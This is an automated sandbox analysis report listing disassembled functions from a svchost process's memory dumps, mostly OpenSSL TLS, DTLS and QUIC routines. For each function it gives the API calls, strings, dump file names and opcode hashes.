ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490C9A
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490CB2
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490D25
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490D31
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB491816,?,?,?,?,?,00007FFBAB491D76,00000000,?,?,?,?,?,00000000,00007FFBAB491AED), ref: 00007FFBAB490D49

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB490CAB, 00007FFBAB490D42
dtls1_preprocess_fragment, xrefs: 00007FFBAB490C9F, 00007FFBAB490D3B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$M_grow_clean
String ID: dtls1_preprocess_fragment$ssl\statem\statem_dtls.c
API String ID: 3867660093-338339041
Opcode ID: 57e514b6f8a84391c9b50a7fae2513a6fb5404a5aa9860a2d17937c9f84f7181
Instruction ID: 4d4d48bf19237fdec99d016fe9adfe4c8de81051f9fdf664dd6f5c5e1ca9db3d
Opcode Fuzzy Hash: 57e514b6f8a84391c9b50a7fae2513a6fb5404a5aa9860a2d17937c9f84f7181
Instruction Fuzzy Hash: 6431A4B2B0A68185E752DB75D4913BD2760FB48B84F488532DFAC477A6CF3CE5868700

Function 00007FFBAB41EBD0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFBAB41EC08
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB41EC2D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41EC36
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41EC4E
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41EC5F

Strings

ciphersuite_cb, xrefs: 00007FFBAB41EC3B
P, xrefs: 00007FFBAB41EC0D
ssl\ssl_ciph.c, xrefs: 00007FFBAB41EC47, 00007FFBAB41ECB3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_pushR_newR_set_debugR_set_errormemcpy
String ID: P$ciphersuite_cb$ssl\ssl_ciph.c
API String ID: 69574139-1019853614
Opcode ID: 261f1c169834f3b248e3fcf4ba54e383dab0ddf77f8d43070ce3eaaf034a2cc3
Instruction ID: 2c4a0a240721f57cc93091e9fa031a925783edc0bfd13c8a9fa17e57e0690e98
Opcode Fuzzy Hash: 261f1c169834f3b248e3fcf4ba54e383dab0ddf77f8d43070ce3eaaf034a2cc3
Instruction Fuzzy Hash: AA11B4E1F4E54292FA62A735E8873BE5351AF48784F50C536ED6C427F6EE2CE5088700

Function 00007FFBAB486810 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486866
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48687E
memcmp.VCRUNTIME140 ref: 00007FFBAB4868AB
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4868B4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4868D5
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4868ED

Strings

tls_parse_ctos_renegotiate, xrefs: 00007FFBAB486870, 00007FFBAB4868DA
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB486877, 00007FFBAB4868E6

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$memcmp
String ID: ssl\statem\extensions_srvr.c$tls_parse_ctos_renegotiate
API String ID: 4071200903-75546675
Opcode ID: 4e429b41bcfbe82b30b0e688d5619eabcadb87baebd6f48d83b1b1b919c85ab4
Instruction ID: 58dc67bc9726b1aefc7556430ce05061384d5f1b400bb0ee869c0b028c7edc0c
Opcode Fuzzy Hash: 4e429b41bcfbe82b30b0e688d5619eabcadb87baebd6f48d83b1b1b919c85ab4
Instruction Fuzzy Hash: 352180E1B4B68291FB929BB1E8523B81350EB44B80F54C432DE2D477A2DE3CE9D58310

Function 00007FFBAB41C9E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA2F
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA47
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA55
OPENSSL_sk_new_null.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA75
OPENSSL_sk_push.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA89
X509_up_ref.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB417E06), ref: 00007FFBAB41CA95

Strings

ssl\ssl_cert.c, xrefs: 00007FFBAB41CA40
ssl_cert_add0_chain_cert, xrefs: 00007FFBAB41CA34

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_new_nullL_sk_pushR_newR_set_debugR_set_errorX509_up_ref
String ID: ssl\ssl_cert.c$ssl_cert_add0_chain_cert
API String ID: 3689422639-2634322016
Opcode ID: 44b6193324a3d4cf3e721394ce85266bc517458d67d2a7f9dc9f744984ca31a1
Instruction ID: 243c9a6bf0ed503dedde43a2440a4bc1133e5be809bdfb7d604acd2d89e796a3
Opcode Fuzzy Hash: 44b6193324a3d4cf3e721394ce85266bc517458d67d2a7f9dc9f744984ca31a1
Instruction Fuzzy Hash: 8F1193A1F0F65281FA57DB31E8523BD6290EF44BC4F188432DE2D477A6DE2CE8458700

Function 00007FFBAB42C360 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C38E
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C3A6
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C3B7
ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C3D0
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C3E8
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,00007FFBAB429B10,?,00007FFBAB412E95), ref: 00007FFBAB42C3F9

Strings

can_renegotiate, xrefs: 00007FFBAB42C393, 00007FFBAB42C3D5
ssl\ssl_lib.c, xrefs: 00007FFBAB42C39F, 00007FFBAB42C3E1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: can_renegotiate$ssl\ssl_lib.c
API String ID: 1552677711-867855671
Opcode ID: 3a1675180e72825a1a9c0467388758be2d6c99f26fcfcb73c7b2ad0611180d60
Instruction ID: f68b2c463b98bc7d5c3d8f77602f143909f492f838fc99bd6b736600a5d7c18e
Opcode Fuzzy Hash: 3a1675180e72825a1a9c0467388758be2d6c99f26fcfcb73c7b2ad0611180d60
Instruction Fuzzy Hash: B2111BA2A4A54282F796E736C8827FD2351EB50740F909435DD2C826F2DE2CE59A9601

Function 00007FFBAB4669F3 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 37COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB4669FD
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466A29
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466A3C
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Offset: %llu, xrefs: 00007FFBAB466A1F
Crypto, xrefs: 00007FFBAB4669F3
Len: %llu, xrefs: 00007FFBAB466A32

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$Crypto
API String ID: 3964688267-430340682
Opcode ID: a599dc20fec591ff140dff86ef44d1bb6b4f5833528ccddc5ea2a086fa4e5926
Instruction ID: ab69667562d7a909dd00c414538e52e8ec907af27231532dfc0d314d597b8598
Opcode Fuzzy Hash: a599dc20fec591ff140dff86ef44d1bb6b4f5833528ccddc5ea2a086fa4e5926
Instruction Fuzzy Hash: 4F015AE1A4A65380FE26DB75E8513FD1750AF45794F449036DE2E072A6DE3CE0868200

Function 00007FFBAB4669A5 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB4669AF
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4669D6
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4669E9
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB4669CC
Stop sending, xrefs: 00007FFBAB4669A5
App Protocol Error Code: %llu, xrefs: 00007FFBAB4669DF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ App Protocol Error Code: %llu$ Stream id: %llu$Stop sending
API String ID: 3964688267-1785104151
Opcode ID: 8554a91a66266b5c025effea9843182e4f2e52f216936860ac81f87ff0741d91
Instruction ID: 9ed93efcd590c460aa28d21e48070c5186a0e3df5efaa0c5c46accef2d82c332
Opcode Fuzzy Hash: 8554a91a66266b5c025effea9843182e4f2e52f216936860ac81f87ff0741d91
Instruction Fuzzy Hash: 67012CE1E4A64390FE26DB75E8613FD1760AF45794F449036DE2E472A5DE3CE1868300

Function 00007FFBAB45E440 Relevance: 13.6, APIs: 9, Instructions: 128COMMON

Download Yara Rule

APIs

ERR_peek_last_error.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB44F9FC), ref: 00007FFBAB45E63C
ERR_pop_to_mark.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB44F9FC), ref: 00007FFBAB45E64C
ERR_clear_last_mark.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB44F9FC), ref: 00007FFBAB45E653

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_clear_last_markR_peek_last_errorR_pop_to_mark
String ID:
API String ID: 4503806-0
Opcode ID: 1653e883ae788b22098aff78b098f66b5393b0d98448a3d5c585c9e523f4069e
Instruction ID: cb69f4b31d75c754e6bab0a758118b578079749dbfaee3efc980aaee292f7e94
Opcode Fuzzy Hash: 1653e883ae788b22098aff78b098f66b5393b0d98448a3d5c585c9e523f4069e
Instruction Fuzzy Hash: 5E511962B4AF8582E661DB25E84067E73A4FF49B84F448235EE7D437A9EF38D805C700

Function 64945710 Relevance: 13.6, APIs: 9, Instructions: 123COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945758
SetEvent.KERNEL32 ref: 649457B9

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: EventHandleInformation
String ID:
API String ID: 943243487-0
Opcode ID: 0abebdb6bbe18b6591d2f169ee2d49ccc49482f9618223d758f2abb39a9272bf
Instruction ID: c02d53f5b47e4eab209d974f5deb7cec8a0e804993d913822503880e7c3ff0c7
Opcode Fuzzy Hash: 0abebdb6bbe18b6591d2f169ee2d49ccc49482f9618223d758f2abb39a9272bf
Instruction Fuzzy Hash: 1C41B232682640CAEB55CF75D8003696B65EB86FBCF144225CF2E8B395EF39C145C710

Function 649447F0 Relevance: 13.6, APIs: 9, Instructions: 100COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 64944829
CloseHandle.KERNEL32 ref: 64944861
CloseHandle.KERNEL32 ref: 6494486C
TlsSetValue.KERNEL32 ref: 649448A6
RemoveVectoredExceptionHandler.KERNEL32 ref: 649448D0

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 41f481ae3904839b845b6b966e47d7c0d9084ec4171bca2e1ba02052f09d8d33
Instruction ID: 9b255bf73e60d4f51aa72ff79eaf3e3afad282202bf316635f7d93ce8b392ba6
Opcode Fuzzy Hash: 41f481ae3904839b845b6b966e47d7c0d9084ec4171bca2e1ba02052f09d8d33
Instruction Fuzzy Hash: C441B0353D664086FB09DFB0F86036933AAFB85B6CF454525CE0A42794EF39C495CB61

Function 64944560 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6494457C

Part of subcall function 649444D0: __iob_func.MSVCRT ref: 64944501

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Value__iob_func
String ID:
API String ID: 2820842585-0
Opcode ID: 0546eda2f010a2ff3f3b1f8a39091f3d6a25e4e9caee43d900f00acf19f6acdb
Instruction ID: 16148a25f4b476eea67aa2965a04ab47484b3a23098f2b50d2a6f1ecfa518ab3
Opcode Fuzzy Hash: 0546eda2f010a2ff3f3b1f8a39091f3d6a25e4e9caee43d900f00acf19f6acdb
Instruction Fuzzy Hash: 62316F716916408BFB259F71F80835B77A5F709BA8F140229CEAA477A0DF3DD059CB20

Function 00007FFBAB4820A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFBAB47C75A), ref: 00007FFBAB482281
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFBAB47C75A), ref: 00007FFBAB482299
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFBAB47C75A), ref: 00007FFBAB4822ED
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFBAB47C75A), ref: 00007FFBAB482329
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFBAB47C75A), ref: 00007FFBAB482341

Strings

custom_ext_add, xrefs: 00007FFBAB482286, 00007FFBAB482333
ssl\statem\extensions_cust.c, xrefs: 00007FFBAB482292, 00007FFBAB48233A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug
String ID: custom_ext_add$ssl\statem\extensions_cust.c
API String ID: 476316267-2598430110
Opcode ID: 848f00409a266f594c879187554ee4d88aa2be5f85c54d266ad7c43225f7afad
Instruction ID: a759c5150b031b84bc21c3f57d9a75e55366dca9658a6f96ba4e3d529ba0ff75
Opcode Fuzzy Hash: 848f00409a266f594c879187554ee4d88aa2be5f85c54d266ad7c43225f7afad
Instruction Fuzzy Hash: 9361E6B1B0A69281E6668FB2E444B7A63A4FB95B80F06C135DEAD4B7A5DF3CD001C701

Function 00007FFBAB44020F Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB44023B
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB44026F
BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB44030B
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB440341

Strings

NamedGroup: %s (%d), xrefs: 00007FFBAB440262, 00007FFBAB440337
key_exchange: , xrefs: 00007FFBAB44034E
UNKNOWN, xrefs: 00007FFBAB440327

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_indentO_printf
String ID: NamedGroup: %s (%d)$UNKNOWN$key_exchange:
API String ID: 1860387303-3646068821
Opcode ID: 76076dc7cee3309c7be2a97947ebada04c6fc20c947832e566ac27cf6c87ad81
Instruction ID: 0d07cbbab948d8bd6f4c98e0554ed26f713ed5f299f42f75122475756cdae1a8
Opcode Fuzzy Hash: 76076dc7cee3309c7be2a97947ebada04c6fc20c947832e566ac27cf6c87ad81
Instruction Fuzzy Hash: 0B41CFB1B1A2D282EA2BCB71D4255B96F51FB41780F05C032CEAD177A2DE3CE962D700

Function 00007FFBAB45B050 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB452588), ref: 00007FFBAB45B0C2
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB452588), ref: 00007FFBAB45B0DA
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,00007FFBAB452588), ref: 00007FFBAB45B0F0
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64(?,?,?,00007FFBAB452588), ref: 00007FFBAB45B0F9

Strings

ssl\quic\quic_port.c, xrefs: 00007FFBAB45B0D3
ossl_quic_port_raise_net_error, xrefs: 00007FFBAB45B0C7
port failed due to network BIO I/O error, xrefs: 00007FFBAB45B0DF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: E_saveR_newR_set_debugR_set_error
String ID: ossl_quic_port_raise_net_error$port failed due to network BIO I/O error$ssl\quic\quic_port.c
API String ID: 3894926980-3295190829
Opcode ID: a3e48a23d0d733174729af938e87b6f5c4ec20c892d9b2cf3c151f03377176a7
Instruction ID: 3edaa611b67ed9f7856c343b9f17dcd1abad358f0446c6655e8eb64781a58971
Opcode Fuzzy Hash: a3e48a23d0d733174729af938e87b6f5c4ec20c892d9b2cf3c151f03377176a7
Instruction Fuzzy Hash: 8741B0A2A0AB8142EBA2CF35D550779A791AF45BD4F04D331DEAD07BF5CE2DE8408700

Function 00007FFBAB486910 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486994
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB486A0C

Strings

tls_parse_ctos_server_cert_type, xrefs: 00007FFBAB4869D5, 00007FFBAB4869FE
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB4869E1, 00007FFBAB486A05

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_parse_ctos_server_cert_type
API String ID: 193678381-2874584118
Opcode ID: a2549dc68999e34ea9f448f7e483aa40c5777b7ca2383bf67dbbf2072c0924f3
Instruction ID: a595a9ad6c74713a08f2f9b7883eba7d2dbc0ec807663c22be118cd541373aa9
Opcode Fuzzy Hash: a2549dc68999e34ea9f448f7e483aa40c5777b7ca2383bf67dbbf2072c0924f3
Instruction Fuzzy Hash: 1421BDE1A1A68281FA52DBB5D4513B923A0EF50784F00D035EEAD476F6EF2CE585C341

Function 00007FFBAB476EB0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB476F00
